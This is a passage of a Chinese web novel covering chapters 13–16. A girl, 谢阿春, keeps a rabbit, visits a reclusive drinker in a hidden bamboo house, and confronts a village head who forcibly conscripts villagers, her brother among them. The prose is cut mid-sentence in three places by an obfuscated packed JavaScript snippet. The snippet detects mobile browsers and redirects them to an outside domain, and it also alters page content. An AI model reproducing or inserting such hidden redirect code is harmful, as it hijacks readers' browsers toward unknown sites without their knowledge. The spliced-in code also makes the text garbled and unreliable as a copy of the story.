谢平安抬起袖子动作两下,终于转过头来,许是一夜没睡,又四处操劳,他脸色很苍白,眼圈周围的红便十分醒目。 “你也知道爹娘会担心。” 谢平安垂下睫毛,似乎不想叫她瞧见自己通红的眼眶:“但你有没有想过我呢……阿春?” “只剩我们俩了,”谢平安低声说着,也不知是说给自己,还是说给她,“要是今天你没有回来……” 他嘴唇颤了颤,忽然说不下去了。 谢阿春把头偏到一边。 她不是不善言辞的小孩,但实在不习惯谢平安这样。 从小到大,谢平安都比她更稳重,像她这样大的时候,谢平安不仅能跟着林婶做些绣活儿,还能跟着谢叔上山打猎。 林婶谢叔去世的时候,她知道谢平安也难过。 但也仅限于知道,她从没真的从谢平安身上感受过他的情绪。 谢阿春有时调皮惹祸,也存了故意招他的心思,生气也好,难过也罢,哪怕吼她两句,她都觉得正常——是,正常,她觉得一个正常的活人不应该这样。 可谢平安真像个活人一样,她又忽然害怕了。 好在谢平安很快恢复如常,他吸了口气,勾起唇角:“你饿了吧,去屋里等等,我给你新炒两个菜。” 谢平安没再提出门的事,回了厨房。 谢阿春站在原地,事情好像已经解决,但不知道为什么,她心里好像装了一块大石头,沉甸甸地压着,丝毫高兴不起来。 吃饭的时候,谢阿春终于想起因为这一出闹剧被忘记的徭役。 谢平安听她问起,只愣了一瞬,继而神色如常地笑开:“原本打算过阵子跟你提,只是如今许不用去了,就没想和你说。” 又是这样。 谢阿春忍下心里的小火苗,并不相信他的话:“你又不是世家少爷,怎么能说不去就不去。”她如今从李铁柱那里学到不少,才不会再轻易被骗。 谢平安:“原本是不好解决的,说来多亏了你。管征役这事儿的是冯里正,我听人说,可以给他银钱,叫他把名字除了,这笔数本来不小,但上次邓夫人叫管事送来的那些谢礼,卖掉换钱正好够用,我本打算这几日去找他。” “全卖了?”谢阿春听得咋舌,“这也太黑了……” 她狐疑地看看他:“你说的是真的吧?” “自然,这件事我还能骗你不成?” 谢阿春戳了戳碗里的粥,没再说话,却打算回来去问问李铁柱—— 谁让谢平安这个人总是说谎呢? 这顿饭以后,谢平安没再提过今天的事,日子好像又恢复如常,谢平安每日照旧给她做饭洗衣,跟着二丫爹下地,谢阿春得空就去村口榕树下玩。 李铁柱的娘早就醒了,据说这几日已经能下地。那天大夫来的及时,谢阿春挖来的人参也派上了用场。李铁柱将剩下的人参卖给了医馆,得的钱说什么也要还给她和谢平安。 榕树下,原本的“楚河汉界”已经不见,王二丫几个小孩和李铁柱的那帮跟班小弟,终于能聚在一处玩。 最开始,还有几人不服,嚷嚷着要和谢阿春一较高下,可还没挨着她衣角,就先被李铁柱揍趴下了。 李铁柱把几个不老实的人挨个揍一遍,又把用来划界的石块全部踢走,最后当着他们的面,沉声道:“从今天起,谁敢挑衅她,就是和我李铁柱过不去。” 几个小弟鼻青脸肿地抱着头,蹲在树下,哭丧着脸面面相觑。尤其赵小宝,作为曾经坑谢阿春最厉害的一个,被揍得最狠。那张脸才好没多久,又挂了彩,身上也早没了嚣张气焰,垂头丧气地缩在角落。 谢阿春抱着胳膊站在一旁,等李铁柱说完,才笑嘻嘻道:“这么说,李大侠是打算认我做老大?要不这样吧,你带着你的人跟了我,我让你做二把手,如何?” 李铁柱看她一眼,面颊上可疑地红了红,身形却依然挺拔,神情也依旧整肃:“……让你一回。” 谢阿春笑眯眯地偏了偏头,猫逗老鼠一样地问:“那李大侠打算让多久啊?” 李铁柱脸更红了,好一阵子没说话,末了瞪谢阿春一眼,忿忿地一蹬树干,窜到了树上。 “喂,那是我的位置!”谢阿春在底下叫,不甘示弱地爬了上去。 晴空如洗,绿树苍翠。榕树下,少年人们的笑闹声直飞上云霄。 …… 这一天,一群小孩子又凑在一处,临近端午,天气更热,榕树下的树荫也不顶用,热得村口的大黄狗都蔫头耷脑。 谢阿春几个一合计,这日头山里肯定凉快,不如上山去,她也好久没使弹弓,正手痒,要是能打点野味回来,还能让谢平安给她加餐。 今天陶清远也在,这娇生惯养的小少爷和他们玩了几回,就磨得手脚起泡,在家歇了好一阵子,这几天不顾劝阻,愣是又来了。 一来就寸步不离地跟着谢阿春,恨不得长她身上似的,李铁柱曾讥讽他“黏黏糊糊”“十分腻歪”,这回自然也没少给他白眼。 陶清远却丝毫不觉。 上山时,几个村里孩子蹦蹦跳跳,有说有笑,只他走一会儿就累得直喘,汗珠下雨似的挂在那张白皙的小脸上,手却死死拽着谢阿春的袖子,执意不肯歇。 又走一段,谢阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644022|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春瞧着陶清远走路都发飘,无奈道:“你们先上去吧,我在这里陪他歇歇。” 李铁柱应声冷笑,像是终于看不下去一样,大步流星地走了,其他人也接连离去。 陶清远被谢阿春拉着,坐到道旁的大石上,谢阿春不会伺候人,用手给他有一搭没一搭地扇着风。 没扇两下,陶清远就制止了,他拉着谢阿春,小鹿眼满是惶惑:“阿春,为什么铁柱哥好像很讨厌我呀?我也没惹他生气……难道他不喜欢我和你一起玩?” 他睫毛一眨就落下泪来,带着鼻音道:“可是我没什么朋友,现在也只和你要好些,要是你也不和我玩,我就只能又像以前一样,自己在家编蚂蚱了……还是我有哪里惹铁柱哥不高兴,我是真的不知道,你能不能替我问问他?” 谢阿春还没回答,高处就传来一声嗤笑:“与其问她,怎么不来直接问我?先想想自己哪儿讨人喜欢吧,陶清远,背地里嚼人舌根,这就是你们大家少爷的家教?” 李铁柱不知为何去而复返,站在山道上一脸不屑地望着他。 陶清远吓了一跳,缩到谢阿春身后,谢阿春忍不住道:“他胆子小,你别吓他。” 把这么个金贵少爷吓出毛病了,又有一堆麻烦。 李铁柱脸色更黑了,嘲讽道:“你倒是好心。” 谢阿春觉得他今天怪怪的:“你回来干嘛?” 李铁柱重重一哼:“他们在前头发现一个兔子窝,想抓兔子,我想着你不是要试试弹弓,就来喊你,谁想到你忙着给人扇风呢,想必没空。” 谢阿春双眼一亮:“在哪?带我去——” 袖子却被人拽了拽,耳边传来一道委委屈屈的声音:“阿春……” 谢阿春一下回神,面露犹豫,她去了,陶清远怎么办? 许是看出她的担忧,李铁柱道:“你想去就去吧,我替你在这儿看……陪着他。” 挨着谢阿春的人顿时浑身绷紧了,谢阿春也很怀疑:“你?” “你那是什么表情,”李铁柱不满,“我还能真怎么着他不成,你把我当什么人了?” “是是,你是李大侠……” 谢阿春左想右想,扪心自问,在这里坐着是无聊,还是抓兔子的诱惑更大,她一拍大腿站起身:“那我就把他托付给你了。” 李铁柱缓缓一笑:“放心。” “阿、阿春……”陶清远抖了一下,抓着谢阿春不肯放,“我忽然不累了……” “你还是再歇歇吧,”谢阿春匆匆安抚,“要是中暑摔了,可不是小事。” “阿春,阿春!” 谢阿春把陶清远的呼喊往身后一抛,三步并两步地顺着山道上了山。 没走多远,就看见几个小孩撅着屁股,凑在一个山坡前,叽叽喳喳地嘀咕什么,不等谢阿春开口,忽然惊呼一声,一只雪白的身影嗖地从洞口窜出,逃向深林。 “兔子跑了!” 谢阿春反应迅速地跟了上去,很快就把众人甩在身后,那兔子却十分敏捷,始终遥遥领先,眼看要跑丢。 谢阿春倏地停住,掏出弹弓与石头,眯起左眼,瞅准时机一击而出,准确无误地打中兔子的后腿。 兔子顿时身形一歪,虽然没停,但速度显然慢了许多。谢阿春追着它越跑越远,村里小孩的喊声渐渐不闻,兔子却离她越来越近。 三步,两步……谢阿春猛地一扑,把兔子压在身下。 抓住了! 谢阿春拎着耳朵把它提起,一人一兔四目相对。这兔子不胖,会稽山猎户多,想来它东奔西走的,确实也不大能藏膘。想来吃起来也不会有几两肉,何况这兔子通体毛色纯白,只耳朵尖上有一块胎记似的黑,倒是十分可爱。 谢阿春动了养它的心思,也不管它如何挣扎,拿腰带捆了手脚,反手就塞怀里。正要打道回府,忽然发现这片林子很眼熟。繁花茂盛,林深寂静,这不正是她那天从山洞出来的地方? 一想到这儿,谢阿春又想起那个奇怪的青衫男人来,循着记忆往前走了走,果然看到了一个洞口。 来都来了。 谢阿春揣着兔子进了山洞。 穿过竹林,又经过她掉进去的水潭,再次来到竹院前。 这地方晚上看不觉得有什么,白日里再看,山水环绕,清净悠远,确实是个避世而居的好去处。 院里和那天来时一样,还是空空荡荡。竹舍轩窗半敞,谢阿春望了望,里头似乎没有人,她来时从竹林和水潭边过,也没见到他,看来主人今日不在。 谢阿春往前走了一步,忽然踢到一个酒坛,这酒坛就摆在门口,很是突兀。 她低头一瞧,酒坛下压着三朵早已干枯的杜鹃。 14. 第 14 章 谢阿春还记得它们刚摘下时的样子,夜色里火红的花瓣耀眼得灼人。 这个人竟然一直都没有收下她的花。就任由它们这样呆在这里风吹雨打。 谢阿春不太高兴,她把那几朵枯萎的花拿起来,小心地收在手里。 本想直接走人,可怀里的兔子一个劲儿地蹬动,踹得她心口闷痛,谢阿春不知怎的,又想起那夜青衫男人在竹林里踉跄又孤单的背影。 她犹豫片刻,还是走到那长满杜鹃花丛的山壁下,又摘了三朵,这回特意挑了更漂亮的,花苞又大又鲜嫩。 她将花压回酒坛下,想了想,又进了屋,这屋子和她上次来时差不多,还是一样空荡,桌子上却更乱了些,胡乱丢着几个揉皱的纸团,毛笔丢在桌上,砚台里还有未干的墨。 谢阿春随意捡起一个纸团,展开又是一副诗词,只是写字的人似乎很不喜欢这张字,漆黑的墨团仿佛赵小宝脸上的黑膏药,东一块西一块,根本辨认不出。 又拆了几个,也都是这样。 谢阿春没找到新的纸,勉强挑了个干净些的,翻到背面,抓起那人用旧的毛笔,涂涂画画起来。 几息之后停笔,纸上赫然出现三个歪七扭八的大字:“送你的”。 旁边还画了一朵丑丑的花。 她像模像样地拿起纸,左看右看,十分满意,拿砚台镇住,拍拍手出去了。 回到山道时,没见到陶清远,问了几个村里的小孩,才知道陶清远竟然中暑晕倒,刚被陶家人接回家去了。 李铁柱要回去给娘亲做饭,也先走了。余下的人见谢阿春抓到了兔子,都十分钦羡,谢阿春与他们玩了一阵子,觉得有些无聊,便下山了。 到家门口时,谢平安抱着一盆衣服正要去溪边浣洗,恰好与她撞上。 “谢平安!”谢阿春兴高采烈道,“你看我抓到了什么?” 谢阿春从怀里掏出兔子,解开束带的瞬间,兔子蹬腿就要跑,谢阿春眼疾手快地上前按住。 谢平安一眼看出兔子的后腿不太自然:“怎么受伤了,是被什么咬了吗?” 谢阿春含糊道:“不知道,遇见就这样了——这不重要!我想养它,谢平安,咱们给它起个名字吧?” 谢平安微微惊讶了一下:“你认真的?” 谢阿春戳了戳着兔子耳朵,看着兔耳一抖一抖,觉得十分有趣,随口道:“这有什么认不认真,不就是养只兔子……” 谢平安无奈:“就算是一只兔子,也有灵性,也是一条性命,况且世上的事,哪有一时兴起就做的道理,你想养它,就得负起责任,不论老了还是病了,都得照顾它一辈子,总不能半路反悔不要了,到时候再放它回去,它可是活不成的……” “哎呀,知道了!”谢阿春不耐道,“我肯定会好好养的……叫点点吧?它耳朵这里有个黑色的胎记,我看正好。” 谢阿春十分满意,摸了摸它的小脑袋:“点点,点点?你喜欢这个名字吗,喜欢就动一动。” 兔子一双红眼睛直直盯着前面,连个眼神都懒得给她。 谢平安叹道:“它腿还伤着,怎么动?” 他放下盆,蹲下来轻轻捏了捏兔子的右腿,兔子颤了一下,但并没有逃跑,倒像对谢平安接受良好。 谢阿春撅起嘴,哼了一声。 “骨头没大事,应该是被什么打伤了。”谢平安道,“先固定一下,这几日让它少活动。” 谢平安进屋,不一会儿拿着一些裁好的布条出来,只这一会儿功夫,那兔子就在菜园里啃起了菜叶,谢阿春就蹲在旁边看。 谢平安扶额:“阿春,你怎么不管管它?” 谢阿春理直气壮:“反正也要喂给它吃的啊。” 谢阿春长叹一声:“呆会儿我洗好衣服,去给它找些能吃的苜蓿之类的野草,阿春,粮食种来不易,你不能……” 谢阿春一听他又要啰嗦大道理,立刻捂住耳朵。 夜里,谢平安说要给兔子做个窝,也被谢阿春拒绝,扬言要和兔子一起睡。 谢阿春美滋滋地抱着兔子入睡,谁料睡到一半,谢阿春就面如菜色,神情恍惚地拍开了谢平安的房门。 谢平安本以为出了什么大事,过去一看,原来是兔子白日吃多了菜叶,半夜在床上拉屎,谢阿春梦中被臭味惊醒,想把它抓住丢出去。不想这兔子拖着一只病腿,依旧健步如飞,在屋里一边跑一边拉,一人一兔追逐几个来回,终究以谢阿春失败告终。 谢平安忍俊不禁:“明日我给点点做个窝,今夜你且忍忍。” 谢阿春一个头两个大,难得哀求:“谢平安,让它和你睡吧……” 若是往常,谢平安什么事不答应她,但今日,谢平安拒绝了。 “这是你养的兔子,还是你要把它给我?要是给我,治好了我就把它放回山里。” 谢阿春垂头丧气。 谢平安憋着笑:“现在反悔还来得及。” 谢阿春从不认输:“才不呢!” “跟我睡就跟我睡!”短短几个字,愣是让她说出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644023|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 视死如归的气势。 于是二人一道收拾屋子,折腾了半宿,总算睡下。 谢阿春生怕兔子又拉,没什么困意,一大早就起床。 谢平安已经给兔子做好了窝,就搭在她窗下,还给菜园加了道围栏。 朝阳未升,从郊野吹来的风带着丝丝清凉,夏日的清晨难得舒服。 谢阿春伸了个懒腰,先去窗户下看了看窝里的兔子,点大人夜里拉得畅快,这会儿正在梦里酣眠,三瓣嘴时不时抽动一下,好像还在回味昨天的菜叶子。 袅袅白烟从烟囱里斜斜飘出,厨房里传来锅铲碰撞的声响。谢阿春走到门口,就感到扑面的热意。 “饭马上好,”谢平安听见动静,对她道,“这里热,你离远些。” “哦。”谢阿春应了声,却没动,她倚在门口看着谢平安弯腰炒菜,总觉得他腰身好像瘦了一些,那条靛蓝的腰带又多绕了几道。 “你之前说要给那个里正,送钱除徭役的事,去了吗?”谢阿春忽然想起。 谢平安一边举起袖子擦汗,一边道:“去了,钱也已经给他,说今年九月的徭役不用我去了。” 谢阿春皱眉:“那明年呢?” 谢平安回头一笑:“明年再说明年……阿春真是长大了,都知道关心家里的事。” 谢阿春哼了一声,揪了揪门框边挂的艾叶,昨日是端午,谢平安在门边都挂了艾叶菖蒲,还包了好几个角黍,她不太爱吃这个,但谢平安很喜欢。她模糊的印象里,林婶也很喜欢。 这顿饭果然又有角黍,谢阿春吃一半尝个味道,剩下的全给了谢平安,一想到这东西还要吃几天,她就头疼。 “这几日县里都有集市,镜湖那边还有赛龙舟的,等两日不忙了,我带你去瞧瞧。”谢平安给她夹了筷子菜。 谢阿春精神终于振奋了些许:“真的假的?” 上次去看赛龙舟,已经是三年前。谢叔死后,谢平安要守孝,何况谢阿春年纪小,他也不敢带她去人多的地方,故而这几年谢阿春都没出过清溪村。一想到能进城,谢阿春不由得多吃了一碗饭。 吃过饭,谢平安给供在正堂的父母牌位前也摆了两个角黍,收拾好碗筷便去了田里。 他一走,谢阿春又无聊起来。今日天有些阴,快到辰时也没见着太阳,只有山南边的云里隐约透着些金光。 谢阿春突然想起山上那个小院来,念起她那日写的字条,也不知那人瞧见没有。 越想越好奇,谢阿春挂上院门又往山上去。 15. 第 15 章 这个时辰还早,山上本不应该有多少人,但这几日过节,来云门寺烧香拜佛的游人络绎不绝。 谢阿春常进山的路口停了许多马车,不少衣着华贵的妇人老爷们从马车出来,上了人抬的轿子,更多的百姓相互搀扶着,步行上山。 谢阿春不想和他们挤,另挑了条小路上山,这条路要绕个远,等到竹林小院时,太阳已从云里露头,谢阿春走得又闷又渴,心里憋着一股气儿。 等看到昨日新换的杜鹃花还压在酒坛下,动都没动分毫,更是火起,上前就砰砰拍门。 “开门,开门!”谢阿春扯着嗓子喊了两声。门不像之前一样一拍就开,反而纹丝不动,她更料定里头有人。 谢阿春拍了半晌没人应,又去一旁的窗下,踩着酒坛把窗户拉开,探头往里瞧。 屋里昏暗一片,酒气与墨香浮动着,夹杂着一丝馥郁的檀香,让谢阿春想到云门寺里呛人的香火气。 靠窗的桌上零散摊着几本书,谢阿春上次用过的毛笔随意丢在书册上,晕开的墨迹与谢阿春画的丑花异曲同工。 她扫了一遍桌面,没找到自己昨天写过的纸。 正对着窗户的床帐拉开着,上头干干净净,也没有一个人。 谢阿春有些失望,心想莫非那人又不在家,正要把头缩回来,一只苍白的手忽然从桌下伸出,“啪”地拍在桌沿。 昏暗的光下,这只突兀冒出的手实在诡异,何况那五指长而细瘦,连骨节都十分凸出,谢阿春离得近,心跳都漏了一拍,差点从酒坛上跌下去。 好在一个披头散发的人很快扒着桌子,摇摇晃晃坐了起来。 男人半只胳膊撑着桌面,倚桌而坐,一双睡意惺忪的桃花眼半阖着,像是还没从梦里醒来,身上的青衫皱皱巴巴,竟像是穿着外衫就睡着了。 “恍兮惚兮,神梦如飞……”他曼声吟着,“驰鲲鹏以遨游……见、见……” 男人眼皮有一搭没一搭地阖着,瞧着又要睡着似的,谢阿春忙喊道:“醒醒!” 男人蓦地睁开眼,神色尚有几分懵懂,看到是她,打了个哈欠:“怎么又是你……小丫头,你把我这儿当你家了不成,三天两头地来。” 谢阿春当没听见,只问:“你为什么不收我的花?” “我不喜欢这种东西。” “那你喜欢什么?” 男人指了指地下。 谢阿春莫名。 “你脚底下踩的酒。” 谢阿春噎了一下,忽然觉得踩着的酒坛有点烫脚,但她还是道:“我没有酒,谢平安不喝,也不让我喝。” 男人奇道:“谢平安是谁?你家大人?” 谢阿春点点头,听他笑道:“大人就是这样,这也不让,那也不让,若人活着这样束手束脚,还有什么乐趣?成日里一堆大道理,扫兴得紧。” 谢阿春点点头,又摇摇头:“你不也是大人?谢平安可能还没你大呢。” “哦?那你猜猜我几岁。” 谢阿春皱起眉头:“……我不知道。” 男人哈哈大笑:“我今年八千岁,你信不信?” 谢阿春不高兴:“你骗人,八千岁,你是王八成精吗?” 男人顿时呛了一声:“你这小丫头,怎的如此……你没读过书吗?” 谢阿春一下被问到逆鳞上,顿时脸红脖子粗:“谁、谁没读过!” 男人撑着下颌,笑眯眯看着她:“我知道了,你不仅没怎么读过书,怕是也不怎么会写字,怪不得写三个字,还能错俩。” 谢阿春知他说的是昨天那三个字,不提还好,一提,她又想起压在酒坛下的花,加上还被他拿不会读书写字这事打趣,心里羞耻又委屈,登时鼻子一酸。 男人始料未及,瞪大眼睛:“不是,你这小丫头瞧着挺厉害,怎么说哭就哭……好好好,我的错,这样吧,我不让你白送,看在你送我三朵花的份上,我回答你三个问题,行不行?” 谢阿春一吸鼻子,瓮声瓮气道:“你叫什么?” 男人:“除了这个。” 谢阿春哼了一声,换了个问题:“你一直住在这里吗?” “不是,今年才来。”他道,“这里以前住了个大夫,不然你以为那些人参谁种的?” 谢阿春又道:“那你从哪里来?” “洛阳。” “京城?”谢阿春想起赵小宝的话,“那里到山阴,是不是坐船得三天三夜?” 男人笑道:“这算一个问题。” 谢阿春立刻换了一个:“你昨天去哪了,我来的时候没看见你。” “去云门寺了,”男人道,“我和他们的方丈是朋友。” 谢阿春还要问,男人伸出三根手指:“三个问题问完了,小店已打烊,恕不继续招待。” 他看了看窗外的天色:“怕是要落雨,你该走了……小丫头,下次不要再来送花了,花是好东西,给我可惜了。” 他说完,不顾谢阿春阻拦合上了窗户。 谢阿春从酒坛上掉下来,天边适时响起一声闷雷。 山谷间刮起一阵暴雨前的腥气,疾风摇着竹林,沙沙作响。 谢阿春又拍了两下窗户,声音都被遮盖得不真切,那人也再没声响。 谢阿春低头一看,手里的花已经被攥的不成样子,混着泥土的花瓣此刻烂泥一般,染红了她的掌心,谢阿春心头窒闷,转身漫无目的地走着。 走了一会儿,发现自己又来到了种杜鹃的山壁下,一丛丛火红的杜鹃,在劲风里摇落,也不知这一场骤雨过后,这里的花还能剩下几朵。 谢阿春盯着花丛出神了一会儿,面颊上落了几滴雨,冰凉的感觉唤回神智,她抹了把脸,忽然下定决心,把手里的残花扔掉,摘了几朵新的花。 把这些花压在酒坛下时,谢阿春暗暗告诉自己,这是最后一次了,下次再来看时,要是这个人还不收她的花,她一定再也不来了! 下山时,山风更紧了。 谢阿春站在山坡上远眺村子,只见天边黑云滚滚,仿佛一只罩子,兜头笼住小小的村落。 谢阿春莫名有些心慌,脚步加快了些许,一路小跑着往村里赶。 走到半路时,一道惊雷炸响,瓢泼大雨迎头而落,田间小路都在雨帘里变得模糊。身旁不时有下山的华丽马车疾驰而过,依稀尚能闻见寺庙里沾染的檀香。 待望见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644024|172734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 村里家家户户的轮廓,谢阿春心里终于安定些许,却忽然发现,这个几近正午的时辰,整个村子竟见不到一点炊烟。 她心头起疑,疾步跑进村里,一路过去,只见许多家都大敞着门,却没有一个人影。 她越跑越慌,忽然听见一阵哭声,过去一看,只见是常在一起玩的小豆丁,六岁大的小孩正站在院子里嚎哭。 谢阿春抓住他胳膊,急急道:“小豆丁,村里人去哪儿了?叔叔婶婶呢,怎么家里只有你?” 小豆丁哭得眼睛发肿,见到她,攥紧了她的衣角:“阿春姐姐,你快去,救救我爹,我娘——” “你爹娘怎么了?” “有人要来抓我爹去,修什么长城,我娘不让我爹走,和他们打起来,被抓走了!” “他们说村里成年的男丁都要去,我刚才,看见他们还带走了谢哥哥……” 谢阿春脑子里轰一声。 为什么会抓谢平安? 他不是说,已经送钱把名字划去了? “我要爹,我要娘……”小豆丁又嚎啕大哭起来。 “别哭了!”谢阿春喝道,“他们往哪儿走?” “往,往村口去了……” 谢阿春一咬牙:“你在家等着,别乱跑,我一定把叔叔婶婶都带回来。” 谢阿春摸了摸腰间的弹弓,确认它在,又抄起一根小豆丁家院里的棍子,提着就往村口跑。 雨还在下,谢阿春的脚步溅起泥水,湿冷滑腻,雨水滑进眼眶,又酸又涩,她脚步不停。 此刻,村口。 村里所有大人几乎都涌在这里,里三层外三层,或扛着农具,或提着饭篮,无论是谁,都怒目而视着被围住的人。 “往年征役,都是等秋收过去、九月头里,这才五月,凭什么带人走?” “地里的新秧才插,早稻也等着收,你们这时候把我家老头子弄走,这十亩地让谁来种?是我这个瘸了腿的娘们,还是我家躺在床上下不了地的儿子?” 人群里传来一个中气十足的声音:“这是上头的命令,今年柔然人频繁犯边,朝廷缺人,徭役才要征两次,你们聚众闹事,是要抗命不成!” “冯老六,敢情去的不是你!”一个老妇人呸道,“别以为我们不知道,今年抓去服役,要送去修长城,你怎么不去呢,是怕死吗?” “狗皇帝不给我们活路,我们自己挣!里外都是个死,怕什么,和他们拼了!” 众人举着锄头棍子,齐齐应喝,一拥而上,场面一片混乱。 忽然,不知哪里传来一声尖叫,人群霍地散开,露出被中间一个精神矍铄的老头,十数个壮丁模样的人护在他身侧,手里各拿着一根长棍。 一个年轻女人倒在地上,额角鲜血直流,人事不省。 “云娘!”人群里一个男人目眦欲裂,奋力挤开壮丁,将人抱在怀里。 “你们竟敢打人!”人群大怒,“冯老六,你是要强征不成?” 冯里正眼神慌乱了一下,继而仍旧挺直腰板:“有什么不敢?我遵县太爷之令征役,干的是官差!县太爷的官令,奉的是皇命!大人说了,违抗者,皆锁去衙门受刑!给我拿人!” 16. 第 16 章(补全) 一声令下,原本有几分犹豫的壮丁立刻一哄而上,那抱着媳妇的男人暴怒而起,与一个壮丁扭打在一处。 但他赤手空拳,哪里是那人的对手,眼瞅着一个棍子要落到他头上,一颗石头忽然飞来,打偏了那根棍子。棍子砸在泥地里,水花四溅。 接连又飞来几枚石子,专挑人弱点下手,一点没留情,不多时,几个壮丁都捂着眼连声哀叫,乱成一团。 “谁!谁在捣鬼?”冯里正六神无主,瞥见一个东西朝自己飞来,立时躲避,却依旧叫那石头打在手里的伞上,顷刻没了遮蔽,淋成了落汤鸡。 “老东西,清溪村不是你撒野的地方!”一道清脆的声音厉喝道。 谢阿春站在雨里,浑身湿透,双丫髻也蔫头耷脑地垂坠着,那双染着怒气的凤眼却明如利箭,穿透雨幕,直射而来,仿佛要穿透他的心脏。 冯里正心如擂鼓,再想后退,却脚下一软,摔在泥里,像一条老狗一样扑腾半晌,才在身旁人搀扶下起身。 “这是谁家的小孩,”冯里正颤着手遥指,“还不将人领走,违抗公务执行,是要挨板子的!” 谢阿春将比她还高的棍子往地上一杵,冷笑道:“我挨板子之前,也先揍得你这条老狗归西!拿命来——” 她提起棍子就要上前,忽然听到熟悉的声音在唤:“阿春——” 谢阿春霎时转头,望向声音来处,谢平安在人群里挤来挤去,半晌终于有人给他让开道。 谢平安来到近前,立刻攥住她的手:“阿春,我没事。” 谢阿春怔怔地看着他,胸口那股横冲直撞的戾气蓦地烟消云散了,手中棍子一松,摔在地上。 她眨了眨湿重的睫毛,后知后觉感到身上一阵冷似一阵,不禁有些发抖,声音也跟着颤:“你没事……” 谢平安不知淋了多久的雨,脸色白里透青,嘴唇也没有血色,衣襟都被拽得凌乱,犹自喘着粗气,声音却如往常一般无二地镇定:“我没事,阿春。” “我没事,”他重复着,又道,“你来的刚好。” 谢阿春周身沸腾的热血,就在他一遍又一遍坚定的“我没事”里渐渐归于平静。 她觉得脸上有热热的东西淌过,一摸满手的雨水。 谢平安掏出手绢,想给她擦脸,没擦两下就又淋湿,他这才想起仍在下雨,便把她往身边拉近些许,用手臂给她支起一片小天地。 他微不可察地叹了口气,像哄睡一样,轻轻拍着她的后背:“没事,阿春,没事……” 方才散开的人群,复又聚拢,众人握着各式农具,沉默地聚在一起,乌压压像一块铁板。 壮丁们早已回到冯里正身边,谢阿春方才几下打得他们脸上都挂了彩,但到底没有动弹不了,可眼下他们不过十多个人,数量上也远不及村人,硬碰硬不会有好结果。 冯里正定然也想到了这点,他抖抖索索地撑起那把破伞,定了定神,面上堆起一个笑来:“诸位乡亲,先消消气,事情闹大,对咱们都没好处。这征役,确实是上头派的差事,就是给我冯老六一百个胆子,我也不敢说瞎话不是?你们今天不跟我走,来日县里派了官差,拿刀带枪的,不是更要命?” “现在要我们去服徭役,也是要我们的命!”一个男人嚷道。 众人顿时齐声应和,挥舞着手中锄头,齐齐往前逼近一步。 “哎,别别,”冯里正等人被逼退两步,连连摆手,“别冲动!诸位乡亲,我冯老六做里正数十年,看在我一把年纪的份上,大家伙听我说几句,就几句,好不好?” “我冯老六不敢说是什么好人,但绝对敢说没亏待咱清溪村,往年我哪次不替你们在县太爷跟前美言?说咱们这村人少,成年男丁亦不多,叫老爷尽量给咱发派些近处、轻些的活计,是真是假,你们都知道。县里有免役的名额,我也都替咱们多争取,就是收的钱,也都比旁边的村少——” 谢阿春在后头,听到这里,忍不住出言讥讽:“都快把我家搬空了,还有脸说收的少,你要那么多钱,是不是留着给你自己买棺材?都给了钱还要抓人,不就是坑钱吗,你不黑谁黑!” 冯里正忍气吞声地赔笑:“小姑娘,这可是误会,你旁边的那人我记得,是你哥哥吧?他前日来交钱,我就说了,免的是九月的徭役,我可从没提过五月的也免啊。” “你——”谢阿春气得半死,想冲上去,被谢平安眼疾手快地拉住,只得在他怀里隔空踢踹。 冯里正老神在在,高声道:“我冯老六也不骗大伙,九月的徭役,确实定的是要送人去北边修长城,但这五月征的其实是兵役,不是大家伙想的那样。” 众人静了一瞬,交头接耳。 半晌,有人道:“有什么不一样?不都是送死!” 冯里正示意他稍安勿躁。 “这几年边关不安分,大家都知道。北边刚平内乱没几年,柔然人又连年劫掠,朝廷实是无人可用。我知道修长城辛苦,十个去九个回不来,这种事当然搁谁都不想去,所以我才劝诸位,与其等着九月去送死,不若跟着五月这趟征兵的走——我知道,乡亲们是觉着,刀兵无眼,上了战场,不还是死路一条?这般想,就大错特错了!” “自从萧将军过世,平城以北就没人打了,只能派人守,这几年,大家伙可曾听过朝廷对柔然打过仗?没有呀!说是戍边,其实不过就是在城里,平城地险,易守难攻,柔然人根本进不来,有什么好怕?” “朝廷急需兵卒,自然也不会白征,凡是入了边军的,赋税都可以减半,如此,乡亲们还觉得不妥吗?” 人群一时窃窃私语,有人道:“赋税减半,可有文书?” 冯老六一窒:“有,自然是有的,只是今日未带在身上……” “兵役几年?可有说明?若一直回不来,赋税减半又有什么用?我家里的老娘可种不了地。” 冯里正讪讪道:“这,兴许一年半载就回来了……” “冯老六,你不会是诓人吧?” “对,要是真只用守城,哪里还用得着这么急着征兵?” 